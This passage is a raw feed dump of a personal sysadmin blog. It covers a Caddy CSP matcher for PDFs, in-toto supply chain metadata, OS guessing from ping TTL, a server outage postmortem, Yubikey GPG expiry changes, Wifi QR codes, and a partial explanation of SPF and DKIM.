<p><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=271452">https://bugs.chromium.org/p/chromium/issues/detail?id=271452</a></p>
<p>The problem got triggered via my strong CSP. I am setting <code>style-src 'self'</code>
and <code>object-src 'self'</code> on default.  These CSP settings are altering the
injected CSS by Chrome/Chromium and therefore the PDF content viewer will not
work like it should do. The solution for now is setting <code>unsafe-inline</code> for both
CSP settings. However this leads to the problem that I do not want to set this
for my whole website, because it is surprisingly unsafe. Thus
I have been playing around with my Caddyfile and came up with a solution that I am
quite happy with. I am using a pdf matcher now. If you are not familiar with matchers in Caddy,
then you should have a look on this documentation:</p>
<p><a href="https://caddyserver.com/docs/caddyfile/concepts#matchers">https://caddyserver.com/docs/caddyfile/concepts#matchers</a></p>
<p>Matchers are basically like regex for your webserver. You can match on a specific path and apply specific settings
for this path only. Consequently I can apply an unsafe CSP setting for PDF files only via matching on all PDF files:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml">@pdf<span class="w"> </span>{<span class="w">
</span><span class="w">	</span>path<span class="w"> </span><span class="cp">*.pdf</span><span class="w">
</span><span class="w"></span>}<span class="w">
</span></code></pre></div><p>Be aware, that a matcher needs to be placed in the related server block. Global matchers are not possible right now.
For applying the matcher you can use the same syntax as first argument to a new header block:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml">header<span class="w"> </span>@pdf<span class="w"> </span>{<span class="w">
</span><span class="w">	</span>Content-Security-Policy<span class="w"> </span><span class="s2">&#34;default-src &#39;none&#39;; base-uri &#39;self&#39;; form-action &#39;none&#39;; img-src &#39;self&#39;; script-src &#39;self&#39;; style-src &#39;unsafe-inline&#39;; font-src &#39;self&#39;; worker-src &#39;self&#39;; object-src &#39;unsafe-inline&#39;; media-src &#39;self&#39;; frame-ancestors &#39;none&#39;; manifest-src &#39;self&#39;; connect-src &#39;self&#39;&#34;</span><span class="w">
</span><span class="w"></span>}<span class="w">
</span></code></pre></div><p>With this header I am setting a new CSP header with updated <code>object-src</code> and <code>style-src</code> settings.
}</p>
]]></content></item><item><title>Introduction to in-toto</title><link>https://shibumi.dev/posts/introduction-to-in-toto/</link><pubDate>Fri, 08 May 2020 14:06:23 +0200</pubDate><guid>https://shibumi.dev/posts/introduction-to-in-toto/</guid><description>Today I would like to talk about supply chains. I am participating as package maintainer for several years for now and supply chains are one of the key factors that were on my mind the most. As package maintainer I try to ensure, that all users can be certain, that they are actually using what the project owners had in their minds. This only works with a secure supply chain. This secure supply chain seems to be a big problem for many devs.</description><content type="html"><![CDATA[<p>Today I would like to talk about supply chains. I am participating as package
maintainer for several years for now and supply chains are one of the key
factors that were on my mind the most. As package maintainer I try to ensure,
that all users can be certain, that they are actually using what the project
owners had in their minds. This only works with a secure supply chain.  This
secure supply chain seems to be a big problem for many devs. At least I can&rsquo;t
explain on my own why many projects are lacking standards like signed tarballs.
Even if a signed tarball exists, there are so many other key factors that
ensure a secure supply chain and only because the developer or project owner
signs their tarballs this doesn&rsquo;t mean that the final product is really the
product that was in the project owners mind. A secure supply chain begins with the first
letter of code and ends with the deployment of the product on a target system.
Managing all of these steps is indeed difficult and I can fully understand why
devs have so much problems with it.  Especially if you have to deal with
various different artifacts on each step of your supply chain, like input and
output of compilation or code verification.</p>
<p>This is where <strong>in-toto</strong> jumps into place. <strong>in-toto</strong> specifies how a supply
chain can be secured and validated. The difference to the usual approach of just signing a tarball is,
that <strong>in-toto</strong> makes it possible to sign and validate every step of a supply chain.
The <strong>in-toto</strong> specification lists three main actors:</p>
<ul>
<li>The product owner</li>
<li>The functionaries</li>
<li>The client</li>
</ul>
<p>The product owner describes the supply chain and enumerates all steps necessary
for the final product.  The functionaries are taking part in the supply chain,
they are usually developers or packagers or an automated system for
continuous integration.  The client is usually the person or system who
wants to use the final product and needs to validate each step for
making sure that the final product is the desired product and has not
been maliciously altered.</p>
<p>Each role is related to one <strong>in-toto</strong> component. The product owner writes the supply chain layout file.
The functionaries use the <strong>in-toto</strong> runtime for creating link metadata for each step of software &ldquo;production&rdquo;.
The <strong>in-toto</strong> verify component will then be used to verify the final product.</p>
<p>On default <strong>in-toto</strong> specifies JSON as metadata format. The supply chain layout file looks as follows:</p>
<div class="highlight"><pre class="chroma"><code class="language-json" data-lang="json">    <span class="p">{</span> <span class="nt">&#34;_type&#34;</span> <span class="p">:</span> <span class="s2">&#34;layout&#34;</span><span class="p">,</span>
       <span class="nt">&#34;expires&#34;</span> <span class="p">:</span> <span class="s2">&#34;EXPIRES&#34;</span><span class="p">,</span>
       <span class="nt">&#34;readme&#34;</span><span class="p">:</span> <span class="s2">&#34;README&#34;</span><span class="p">,</span>
       <span class="nt">&#34;keys&#34;</span> <span class="p">:</span> <span class="p">{</span>
           <span class="nt">&#34;KEYID&#34;</span> <span class="p">:</span> <span class="s2">&#34;KEY&#34;</span><span class="p">,</span>
            <span class="nt">&#34;...&#34;</span><span class="p">:</span><span class="s2">&#34;...&#34;</span>
        <span class="p">},</span>
       <span class="nt">&#34;steps&#34;</span> <span class="p">:</span> <span class="p">[</span>
           <span class="p">{</span><span class="nt">&#34;...&#34;</span><span class="p">:</span><span class="s2">&#34;...&#34;</span><span class="p">}</span>
       <span class="p">],</span>
       <span class="nt">&#34;inspections&#34;</span> <span class="p">:</span> <span class="p">[</span>
           <span class="p">{</span><span class="nt">&#34;...&#34;</span><span class="p">:</span> <span class="s2">&#34;...&#34;</span><span class="p">}</span>
       <span class="p">]</span>
    <span class="p">}</span>
</code></pre></div><p>Each element should be self-descriptive. The <code>_type</code> just specifies, the type
of file. In this case a &ldquo;layout&rdquo;.  The <code>expires</code> element sets an expiration
date. The <code>readme</code> can be used for documentation.  The list <code>keys</code> holds all
necessary public keys, that are needed for each supply chain step.  The element
<code>inspections</code> lists restrictions for each step within a link. This is going to
be used for validation by the client.</p>
<p>A step is declared as follows:</p>
<div class="highlight"><pre class="chroma"><code class="language-json" data-lang="json">    <span class="p">{</span>
      <span class="nt">&#34;_name&#34;</span><span class="p">:</span> <span class="s2">&#34;NAME&#34;</span><span class="p">,</span>
      <span class="nt">&#34;threshold&#34;</span><span class="p">:</span> <span class="s2">&#34;THRESHOLD&#34;</span><span class="p">,</span>
      <span class="nt">&#34;expected_materials&#34;</span><span class="p">:</span> <span class="p">[</span>
         <span class="p">[</span><span class="s2">&#34;ARTIFACT_RULE&#34;</span><span class="p">],</span>
         <span class="s2">&#34;...&#34;</span>
      <span class="p">],</span>
      <span class="nt">&#34;expected_products&#34;</span><span class="p">:</span> <span class="p">[</span>
         <span class="p">[</span><span class="s2">&#34;ARTIFACT_RULE&#34;</span><span class="p">],</span>
         <span class="s2">&#34;...&#34;</span>
      <span class="p">],</span>
      <span class="nt">&#34;pubkeys&#34;</span><span class="p">:</span> <span class="p">[</span>
         <span class="s2">&#34;KEYID&#34;</span><span class="p">,</span>
         <span class="s2">&#34;...&#34;</span>
      <span class="p">],</span>
      <span class="nt">&#34;expected_command&#34;</span><span class="p">:</span> <span class="s2">&#34;COMMAND&#34;</span>
    <span class="p">}</span>
</code></pre></div><p>Each step has a name and a threshold. The threshold is an integer stating how
many links of metadata must be provided to verify this step. This means, that
the threshold specifies how many different keys/functionaries are required to
sign off a step.  The number of link metadata stays in direct relationship to
the number of different keys/functionaries.  A step also consists of expected
materials and expected products (like input and output files), a list of
pubkeys and an expected command.  The expected materials and expected products
are needed for ensuring that a supply chain step has no missing or additional
content. The expected command declares the command that has been invoked in
this step. <code>artifact rules</code> are more complicated, these are rules, that can be
used for connecting steps and authorizing certain operations on an artifact
(for example the README can only be created in the create-documentation step).</p>
<p>This is how an inspection looks like:</p>
<div class="highlight"><pre class="chroma"><code class="language-json" data-lang="json">    <span class="p">{</span>
      <span class="nt">&#34;_name&#34;</span><span class="p">:</span> <span class="s2">&#34;NAME&#34;</span><span class="p">,</span>
      <span class="nt">&#34;expected_materials&#34;</span><span class="p">:</span> <span class="p">[</span>
         <span class="p">[</span><span class="s2">&#34;ARTIFACT_RULE&#34;</span><span class="p">],</span>
         <span class="s2">&#34;...&#34;</span>
      <span class="p">],</span>
      <span class="nt">&#34;expected_products&#34;</span><span class="p">:</span> <span class="p">[</span>
         <span class="p">[</span><span class="s2">&#34;ARTIFACT_RULE&#34;</span><span class="p">],</span>
         <span class="s2">&#34;...&#34;</span>
      <span class="p">],</span>
      <span class="nt">&#34;run&#34;</span><span class="p">:</span> <span class="s2">&#34;COMMAND&#34;</span>
    <span class="p">}</span>
</code></pre></div><p>An inspection is not so different to a step. It comes with a name, expected artifacts and a command to run.
The <code>run</code> field will be used to spawn a new process in the validation system for creating link metadata.</p>
<p>This link metadata is structured as:</p>
<div class="highlight"><pre class="chroma"><code class="language-json" data-lang="json"> <span class="p">{</span> <span class="nt">&#34;_type&#34;</span> <span class="p">:</span>  <span class="s2">&#34;link&#34;</span><span class="p">,</span>
   <span class="nt">&#34;_name&#34;</span> <span class="p">:</span>  <span class="s2">&#34;NAME&#34;</span><span class="p">,</span>
   <span class="nt">&#34;command&#34;</span> <span class="p">:</span> <span class="s2">&#34;COMMAND&#34;</span><span class="p">,</span>
   <span class="nt">&#34;materials&#34;</span><span class="p">:</span> <span class="p">{</span>
      <span class="nt">&#34;PATH&#34;</span><span class="p">:</span> <span class="s2">&#34;HASH&#34;</span><span class="p">,</span>
      <span class="nt">&#34;...&#34;</span><span class="p">:</span> <span class="s2">&#34;...&#34;</span>
   <span class="p">},</span>
   <span class="nt">&#34;products&#34;</span><span class="p">:</span> <span class="p">{</span>
      <span class="nt">&#34;PATH&#34;</span><span class="p">:</span> <span class="s2">&#34;HASH&#34;</span><span class="p">,</span>
      <span class="nt">&#34;...&#34;</span><span class="p">:</span> <span class="s2">&#34;...&#34;</span>
   <span class="p">},</span>
   <span class="nt">&#34;byproducts&#34;</span><span class="p">:</span> <span class="p">{</span>
        <span class="nt">&#34;stdin&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
        <span class="nt">&#34;stdout&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
        <span class="nt">&#34;return-value&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span>
    <span class="p">}</span>
 <span class="p">}</span>
</code></pre></div><p>The link metadata provides a name, a command that gets executed by the functionary, the needed input/output artifacts and several byproducts.
The byproducts are interesting though. The byproducts specify a return value, stdin and stdout. The byproducts are not verified on default,
but they can be useful for further validation in the inspection step.</p>
<p>These are many different components and this may sound rather complicated, but actually it isn&rsquo;t. You can think about <strong>in-toto</strong> as a specification
and framework for validating each node in a graph. Each node needs a <code>link metadata</code> file that exactly states what happened and by whom. The layout file
declares the way through this graph and ensures that the exact way is being followed and by the right person. The inspection is the end step performed by the client, where the client validates, that the way has been used for generating this final product, while using the layout or way description of the trusted product owner.</p>
<p>The <strong>in-toto</strong> specification has much more than this. There exist sub layouts for allowing trusted actors to do a certain step and we haven&rsquo;t even talked about the artifact rules. I hope I could ignite a spark of interest in <strong>in-toto</strong>. If you want to read more about it, I really recommend the specification and the demo:</p>
<ul>
<li><a href="https://github.com/in-toto/docs/blob/v0.9/in-toto-spec.md">https://github.com/in-toto/docs/blob/v0.9/in-toto-spec.md</a></li>
<li><a href="https://github.com/in-toto/demo">https://github.com/in-toto/demo</a></li>
</ul>
<p>If you are interested in secure updates, you should also have a look on the <strong>TUF</strong> (The Update Framework). This is an excellent addition to <strong>in-toto</strong> and maybe a nice topic for another article. With <strong>TUF</strong> and <strong>in-toto</strong> together you can achieve complete end-to-end security.</p>
<ul>
<li><a href="https://theupdateframework.io/">https://theupdateframework.io/</a></li>
</ul>
<p>I would also really encourage to have a look on the blog article of one of my friends:</p>
<ul>
<li><a href="https://badhomb.re/ci/security/2020/05/01/tuf-in-toto.html">https://badhomb.re/ci/security/2020/05/01/tuf-in-toto.html</a></li>
</ul>
]]></content></item><item><title>Identify the OS via ping</title><link>https://shibumi.dev/posts/identify-the-os-via-ping/</link><pubDate>Sat, 02 May 2020 15:29:06 +0200</pubDate><guid>https://shibumi.dev/posts/identify-the-os-via-ping/</guid><description>This article will be rather short. I just wanted to highlight something, that not much people know. This could be helpful for network diagnostics or capture-the-flag games.
If you ever find yourself in the situation to identify a device&amp;rsquo;s OS only by it&amp;rsquo;s IP address, you can try just pinging the device. The TTL (Time-To-Live) will give you an hint about the OS. You can use the following table for the beginning:</description><content type="html"><![CDATA[<p>This article will be rather short. I just wanted to highlight something, that not much people know. This could be helpful for network diagnostics or capture-the-flag games.</p>
<p>If you ever find yourself in the situation to identify a device&rsquo;s OS only by it&rsquo;s IP address, you can try just pinging the device.
The TTL (Time-To-Live) will give you an hint about the OS. You can use the following table for the beginning:</p>
<table>
<thead>
<tr>
<th>OS</th>
<th>TTL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Linux/Unix</td>
<td>64</td>
</tr>
<tr>
<td>Windows</td>
<td>128</td>
</tr>
<tr>
<td>Solaris/AIX</td>
<td>254</td>
</tr>
</tbody>
</table>
<p>Here is an example for my local router:</p>
<pre><code>PING 192.168.178.1 (192.168.178.1) 56(84) bytes of data.
64 bytes from 192.168.178.1: icmp_seq=1 ttl=64 time=1.15 ms
64 bytes from 192.168.178.1: icmp_seq=2 ttl=64 time=1.71 ms
</code></pre><p>One of my readers has pointed out, that you might need to add the hop count to the TTL if your target is more than one hop away.
The hop count is the number of &ldquo;Internet nodes&rdquo; you&rsquo;ve passed to get to your target.
Here is a more complex example for this blog:</p>
<pre><code>traceroute to shibumi.dev (78.46.124.83), 30 hops max, 60 byte packets
 1  _gateway (192.168.178.1)  3.646 ms  3.642 ms  3.626 ms
 2  62.155.243.118 (62.155.243.118)  6.483 ms  6.490 ms  6.473 ms
 3  n-ea9-i.N.DE.NET.DTAG.DE (62.154.24.222)  17.246 ms  17.240 ms  18.123 ms
 4  n-ea9-i.N.DE.NET.DTAG.DE (62.154.24.222)  18.112 ms  18.080 ms  18.028 ms
 5  * * *
 6  core23.fsn1.hetzner.com (213.239.252.230)  20.986 ms  28.003 ms  30.109 ms
 7  spine3.cloud2.fsn1.hetzner.com (213.239.239.134)  25.811 ms  19.757 ms spine1.cloud2.fsn1.hetzner.com (213.239.239.126)  18.434 ms
 8  * * *
 9  10145.your-cloud.host (159.69.97.15)  20.257 ms  20.259 ms  20.233 ms
10  * * *
11  kurisu.shibumi.dev (78.46.124.83)  20.063 ms  20.031 ms  20.005 ms
</code></pre><p>The hop count in this case is 11. So you gonna add 11 to the TTL you&rsquo;ve aquired via ping:</p>
<pre><code>PING shibumi.dev(shibumi.dev (2a01:4f8:1c17:4572::1)) 56 data bytes
64 bytes from shibumi.dev (2a01:4f8:1c17:4572::1): icmp_seq=1 ttl=55 time=19.3 ms
</code></pre><p>11+55 makes 66, we are close to the number 64 (maybe the ping took a different route?), so it&rsquo;s very likely, that the server is running on Unix or Linux.
If you have an explanation for the hop + TTL difference, write me a mail.</p>
]]></content></item><item><title>Postmortem 2020-04-28</title><link>https://shibumi.dev/posts/postmortem-2020-04-28/</link><pubDate>Wed, 29 Apr 2020 00:04:35 +0200</pubDate><guid>https://shibumi.dev/posts/postmortem-2020-04-28/</guid><description>Prolog My server went down today. So I&amp;rsquo;ve decided to write a little postmortem for me, so that I will hopefully learn from my server outage. This is also a nice moment to learn how Google writes postmortems: https://landing.google.com/sre/sre-book/chapters/postmortem/#id-YAJuMt7iQW
Overview Date: 2020-04-29
Status: Complete, action items in progress
Impact: The following of my components went down for a period of 5 hours and 6 minutes:
https://shibumi.dev WKD server https//nspawn.org (images are partly persist unavailable) IRC bouncer git server Root Causes: Backup restore mechanisms didn&amp;rsquo;t work as expected.</description><content type="html"><![CDATA[<h2 id="prolog">Prolog</h2>
<p>My server went down today. So I&rsquo;ve decided to write a little postmortem for me, so that I will hopefully learn from my server outage.
This is also a nice moment to learn how Google writes postmortems: <a href="https://landing.google.com/sre/sre-book/chapters/postmortem/#id-YAJuMt7iQW">https://landing.google.com/sre/sre-book/chapters/postmortem/#id-YAJuMt7iQW</a></p>
<h2 id="overview">Overview</h2>
<p><strong>Date</strong>: 2020-04-29</p>
<p><strong>Status</strong>: Complete, action items in progress</p>
<p><strong>Impact</strong>: The following of my components went down for a period of 5 hours and 6 minutes:</p>
<ul>
<li><a href="https://shibumi.dev">https://shibumi.dev</a></li>
<li>WKD server</li>
<li><a href="https://nspawn.org">https//nspawn.org</a> (images are partly persist unavailable)</li>
<li>IRC bouncer</li>
<li>git server</li>
</ul>
<p><strong>Root Causes</strong>: Backup restore mechanisms didn&rsquo;t work as expected. Server has booted after upgrade, but has been partly inconsistent.
The package manager dnf has stopped working, due to the python2 to python3 move of Fedora 32. Also SSH login were not possible anymore.
Login on Rescue console, was not possible due to selinux enforcing new PAM rules.</p>
<p><strong>Trigger</strong>: Failed Upgrade from Fedora 31 to Fedora 32.</p>
<p><strong>Resolution</strong>: I&rsquo;ve setup Fedora 31 again and restored the files I needed from the backup, instead of doing a full system backup or trying to repair the broken Fedora 32 installation.</p>
<p><strong>Detection</strong>: <a href="https://uptimerobot.com">https://uptimerobot.com</a> registered a server failure at 2020-04-28 15:45:23 CET.</p>
<h2 id="lesson-learned">Lesson Learned</h2>
<h3 id="what-went-well">What went well</h3>
<ul>
<li>Monitoring detected server failures quickly. However, not all services are covered yet (HTTP and ICMP only).</li>
<li>Restoring single files from the restic backup worked superb.</li>
</ul>
<h3 id="what-went-wrong">What went wrong</h3>
<ul>
<li>Restoring full system from restic was not possible. I really have to look into this and train such situations. After an hour of battling with restic, grub and several other tools, I just gave up and rebuild the server from scratch.</li>
<li>Hetzner Console is awful. I have an US key layout on my laptop, but the Hetzner console uses a German key layout. So I&rsquo;ve encountered different annoying issues:
<ol>
<li>The root login failed, due to z/y swap, so I need to start the rescue image and set a new password.</li>
<li>Pasting URLs into the console got altered. I tried downloading some RPMs, but I wondered that curl told me, that the host <code>http</code> is unknown. So after several minutes I&rsquo;ve realized, that the colon in the URL got altered to a semicolon, because of the wrong key layout. This situation made me manually correcting all pasted URLs.</li>
</ol>
</li>
<li>The login via password on a TTY didn&rsquo;t work on Fedora 32, because of a combination of enabled selinux and PAM rule that enforces, that users with a UID under 1000 can&rsquo;t login locally.</li>
<li>SSH login has not been possible. I still have no explanation for this.</li>
<li>An upgrade of a fresh Fedora 31 to a Fedora 32 took over 30min with max CPU load. No explanation for this here as well. Maybe the Hetzner VMs are just too weak or Hetzner has altered the Fedora 31 images so much, that a clean update is not possible anymore. This could be the explanation, why Hetzner has not released a Fedora 32 image yet.</li>
</ul>
<h3 id="where-i-have-been-lucky">Where I have been lucky</h3>
<ul>
<li>Restic backup restore of single files worked.</li>
</ul>
<h3 id="action-items-for-the-future">Action Items for the future</h3>
<ul>
<li>Finally having an ansible playbook for restoring a server from scratch</li>
<li>Testing restic full system restores.</li>
<li>Generating new systemd-nspawn images for <a href="https://nspawn.org">https://nsapwn.org</a></li>
<li>Adding more service monitoring via <a href="https://uptimerobot.com">https://uptimerobot.com</a></li>
<li>High-Availability for my blog (maybe a second server + reverse proxy?)</li>
</ul>
<h2 id="timeline">Timeline</h2>
<p>2020-04-28 (all times CET):</p>
<ul>
<li>15:45: first outage.</li>
<li>16:20: back online again with broken Fedora 32 installation.</li>
<li>20:51: back online again with most systems (images for <a href="https://nspawn.org">https://nspawn.org</a> are still missing).</li>
</ul>
]]></content></item><item><title>Changing the expiration date of your Yubikey</title><link>https://shibumi.dev/posts/changing-the-expiration-date-of-your-yubikey/</link><pubDate>Wed, 22 Apr 2020 02:58:36 +0200</pubDate><guid>https://shibumi.dev/posts/changing-the-expiration-date-of-your-yubikey/</guid><description>In this, hopefully short, article I want to summarize what I&amp;rsquo;ve did for changing the expiration date of my GPG key on my Yubikey. This tutorial is for all people who has generated their GPG key on their laptop and then transferred it to the Yubikey. If you&amp;rsquo;ve generated the GPG key pair on the Yubikey, you will not need this.
We need to differentiate between two cases: Changing the expiration date of a subkey or changing the expiration date of your GPG master key.</description><content type="html"><![CDATA[<p>In this, hopefully short, article I want to summarize what I&rsquo;ve did for changing the expiration date of my GPG key on my Yubikey.
This tutorial is for all people who has generated their GPG key on their laptop and then transferred it to the Yubikey. If you&rsquo;ve
generated the GPG key pair on the Yubikey, you will not need this.</p>
<p>We need to differentiate between two cases: Changing the expiration date of a subkey or changing the expiration date of your GPG master key.
In case of the subkeys you can just go call <code>gpg --edit-key &lt;your key ID&gt;</code> and edit the expiration date. This should just work out of the box.
If you&rsquo;ve made the mistake and set an expiration date for your master key (like me), then welcome in the club! This is more difficult.</p>
<p>For changing the expiration date of your GPG master key, you&rsquo;ll need two things first:</p>
<ul>
<li>a backup of your master key (in my case the key with <code>SC</code> label or just your public key)</li>
<li>a backup of your secret key</li>
</ul>
<p>We&rsquo;ll start with unplugging the yubikey, then we need to delete the GPG stubs of our key. The stubs are the interface for GPG, this way GPG knows that it needs to look on another location for the keys. We don&rsquo;t need them anymore, because we&rsquo;ll import the backups.</p>
<p>For removing the stubs do the following:</p>
<p><code>gpg --delete-secret-and-public-keys &lt;your key ID&gt;</code></p>
<p>Then restart your gpg-agent to get rid of any potential cache: <code>systemctl restart --user gpg-agent</code> (This is maybe different for you).
With a clean gpg-agent we can start importing the backups, we&rsquo;ll start with the master key (this should be your public key):</p>
<p><code>gpg --import backup-master-key.gpg</code></p>
<p>Next we&rsquo;ll import the secret key:</p>
<p><code>gpg --import secret-key.gpg</code> (make sure that you know your password for it. I nearly forgot mine&hellip;)</p>
<p>Ok, now your key should look like this if you call <code>gpg -K</code>:</p>
<pre><code>sec  rsa4096 2015-07-16 [SC]
      6DAF7B808F9DF25139620000D21461E3DFE2060D
      Card serial no. = 0006 09716835
uid           [ unknown] Christian Rebischke &lt;chris@shibumi.dev&gt;
ssb  rsa4096 2015-07-16 [E] [expires: 2022-04-22]
ssb  rsa4096 2019-04-12 [A] [expires: 2022-04-22]
</code></pre><p>Make sure that the <code>&gt;</code> behind <code>sec</code> is missing. If you see <code>sec&gt;</code> instead of <code>sec</code> you are still working on a stub.
If you are sure, that you are not working on a stub anymore, you can edit the key normally now. I suggest you change the
expiration date for your master key to infinite, this way you will always be able to change the expiration date of your subkeys.
And most importantly: You will not have hassle like this anymore. If you&rsquo;ve forgot how to change the expiration date, here is a short summary:</p>
<pre><code>gpg --edit-key &lt;your key ID&gt;
gpg&gt; expire
gpg&gt; key 1 (this is your first subkey)
gpg&gt; key 2 (this selects additionally your second subkey)
gpg&gt; expire
gpg&gt; save
</code></pre><p>Then, you&rsquo;ll need to export your new pubkey:</p>
<p><code>gpg --export --armor &lt;your key ID&gt; &gt; /tmp/pubkey.asc</code></p>
<p>Next restart your gpg-agent again, then plugin your yubikey, then call <code>gpg --edit-key</code>. Now you can start sending the new keys to the Yubikey (yes, we need to overwrite the keys on the Yubikey, it&rsquo;s the only way, sorry):</p>
<pre><code>gpg --edit-key &lt;your key ID&gt;
gpg&gt; keytocard (select the signature slot)
gpg&gt; key 1 (select the right slot)
gpg&gt; (do the same for the other subkeys)
</code></pre><p>If done, we are going to test our new yubikey. Pull out the Yubikey, delete the keys again via <code>gpg --delete-secret-and-public-keys &lt;your key ID&gt;</code>, then import your public key and plugin your Yubikey. It should work now as expected and you should see the stubs again if you call <code>gpg -K</code>.
Make sure to change the <code>url</code> field in the Yubikey via <code>gpg --card-edit</code>. I also suggest you enable sign/encrypt/authenticate on touch (if you are doing this already, you&rsquo;ll need to reconfigure this, because the key has changed on your Yubikey):</p>
<pre><code>ykman openpgp set-touch enc on
ykman openpgp set-touch sig on
ykman openpgp set-touch aut on
ykman openpgp info
</code></pre><p>When you want to upload your new key on a WKD server, make sure to use <code>--no-armor</code> and compare the WKD hashes.</p>
]]></content></item><item><title>Share your Wifi via QR code</title><link>https://shibumi.dev/posts/share-your-wifi-via-qr-code/</link><pubDate>Tue, 07 Apr 2020 00:34:02 +0200</pubDate><guid>https://shibumi.dev/posts/share-your-wifi-via-qr-code/</guid><description>Hey, this is going to be a short blog article. A few days ago I had a friend at my place who asked for the Wifi password. So I presented my 32 char WPA2 key and we all got very frustrated, because we had to type it in manually. After typing the key in, I thought there must be a better solution for tackling this problem, like generating a QR code.</description><content type="html"><![CDATA[<p>Hey, this is going to be a short blog article. A few days ago I had a friend at my place who asked for the Wifi password.
So I presented my 32 char WPA2 key and we all got very frustrated, because we had to type it in manually.
After typing the key in, I thought there must be a better solution for tackling this problem, like generating a QR code.
This actually works. The only requirement is that you follow a specific format:</p>
<p><code>WIFI:S:{SSID name of your network};T:{security type - WPA or WEP};P:{the network password};;</code></p>
<p>For example:</p>
<p><code>WIFI:S:MySweetSSID;T:WPA;P:mysecretpassword;;</code></p>
<p>On Linux you can directly convert this string via <code>qrencode</code> to a QR code:</p>
<p><code>qrencode -o - -t utf8 'WIFI:S:MySweetSSID;T:WPA;P:mysecretpassword;;'</code></p>
<p>This command will directly draw a QR code via UTF8 in your terminal (I hope your terminal and font support UTF-8)</p>
]]></content></item><item><title>SPF, DKIM and DMARC</title><link>https://shibumi.dev/posts/spf-dkim-dmarc/</link><pubDate>Fri, 13 Mar 2020 16:14:28 +0100</pubDate><guid>https://shibumi.dev/posts/spf-dkim-dmarc/</guid><description>If you had a closer look on my domain you&amp;rsquo;ve might checked my MX records:
❯ resolvectl query -t mx shibumi.dev shibumi.dev IN MX 10 mxext2.mailbox.org shibumi.dev IN MX 10 mxext1.mailbox.org shibumi.dev IN MX 20 mxext3.mailbox.org Yes, I have to admit I don&amp;rsquo;t host my own mail infrastructure. I think this is too toilsome and I have better things to do, like writing this blog article.
In this article I want to explain to you how I&amp;rsquo;ve configured the SPF, DKIM and DMARC settings for my domain.</description><content type="html"><![CDATA[<p>If you had a closer look on my domain you&rsquo;ve might checked my MX records:</p>
<pre><code>❯ resolvectl query -t mx shibumi.dev
shibumi.dev IN MX 10 mxext2.mailbox.org
shibumi.dev IN MX 10 mxext1.mailbox.org
shibumi.dev IN MX 20 mxext3.mailbox.org
</code></pre><p>Yes, I have to admit I don&rsquo;t host my own mail infrastructure.  I think this is
too toilsome and I have better things to do, like writing this blog article.</p>
<p>In this article I want to explain to you how I&rsquo;ve configured the SPF, DKIM and
DMARC settings for my domain. This leads me to my first question: Why do I need
SPF, DKIM or DMARC at all?</p>
<p>It&rsquo;s dead simple. If I wouldn&rsquo;t have these settings (at least for SPF) big mail
providers would classify my mails as spam. So at least SPF is a must-have for me.</p>
<p>But what is SPF? SPF stands for <em>Sender Policy Framework</em>. It permits the
receiving mail infrastructure to detect forging of sender addresses. So it
makes sure that the mail comes from an IP address that is associated with the
domain mentioned in the mail&rsquo;s FROM header.</p>
<p>In relation to my domain, this means, that if I want to be able to send mails
via an external mail provider like mailbox.org with my own domain in the mail&rsquo;s
FROM header, I need to setup SPF. Otherwise other domains could classify my
mails as spam. This is how my SPF record looks like:</p>
<pre><code>TXT v=spf1 include:mailbox.org ~all
</code></pre><p>For SPF you need to use the TXT DNS record. Then you simply specify the SPF
version via <code>v=spf1</code>.  For me a simple <code>include:mailbox.org ~all</code> is enough,
because I just want to include the SPF record of mailbox.org (my mail
provider). The <code>~all</code> mechanism is a test that always matches. The <code>~</code> operator
in front of the all specifies a <em>softfail</em>. The <a href="https://tools.ietf.org/html/rfc7208#section-5.1">SPF
RFC</a> says about <em>softfail</em> the
following:</p>
<blockquote>
<p>A &ldquo;softfail&rdquo; result is a weak statement by the publishing ADMD that
the host is probably not authorized.  It has not published a
stronger, more definitive policy that results in a &ldquo;fail&rdquo;.</p>
</blockquote>
<p>NOTE: ADMD means Administrative Management Domain.</p>
<p>So a <em>softfail</em> means that mails can be allowed through, but should be tagged
as spam or suspicious.  I have been unsure about this and I thought about it a
lot. But after a closer look on how other mail providers are handling this I
have decided to use the <code>~</code> operator instead of <code>-</code>. <code>-</code> would be a strict
handling of mails. If you want to know the other operators, have a look on the
excellent RFC.</p>
<p>You may ask yourself now: &lsquo;OK, you are doing an include, but how is mailbox.org doing&rsquo;?
We can have a look at mailbox&rsquo;s SPF record:</p>
<pre><code>❯ resolvectl query -t txt mailbox.org
mailbox.org IN TXT &quot;v=spf1 ip4:213.203.238.0/25 ip4:195.10.208.0/24 ip4:91.198.250.0/24 ip4:80.241.56.0/21 ip6:2001:67c:2050::/48  mx ~all
</code></pre><p>This SPF record is a little bit more difficult to read, but let&rsquo;s examine it.
The <code>ip4</code> mechanism are specifying IPv4 ranges. Mails that come from these ranges are considered valid.
The <code>mx</code> mechanism automatically approves the mailbox.org mail servers specified in the MX DNS record.</p>
<p>SPF is a little bit difficult to understand at beginning. If you have more questions don&rsquo;t hesitate to have a look on the RFC or at some other blog articles. I can totally recommend this one here:</p>
<p><a href="https://postmarkapp.com/blog/explaining-spf">https://postmarkapp.com/blog/explaining-spf</a></p>
<p>Let&rsquo;s talk about DKIM next. DKIM stands for <em>DomainKeys Identified Mail</em>.  DKIM
tries to achieve the same as SPF. It tries to help validating mails.  The
difference with DKIM is that DKIM does this via attaching a digital signature,
linked to a domain name, to every outgoing mail message. So instead of relying
on a remote SPF record, we are adding another cryptographic layer here.</p>
<p>For DKIM I am just using the standard mailbox.org public key. You can find that key here: <a href="https://kb.mailbox.org/display/MBOKBEN/Using+e-mail+addresses+of+your+domain">https://kb.mailbox.org/display/MBOKBEN/Using+e-mail+addresses+of+your+domain</a>.</p>
<p>The DKIM DNS record looks like this:</p>
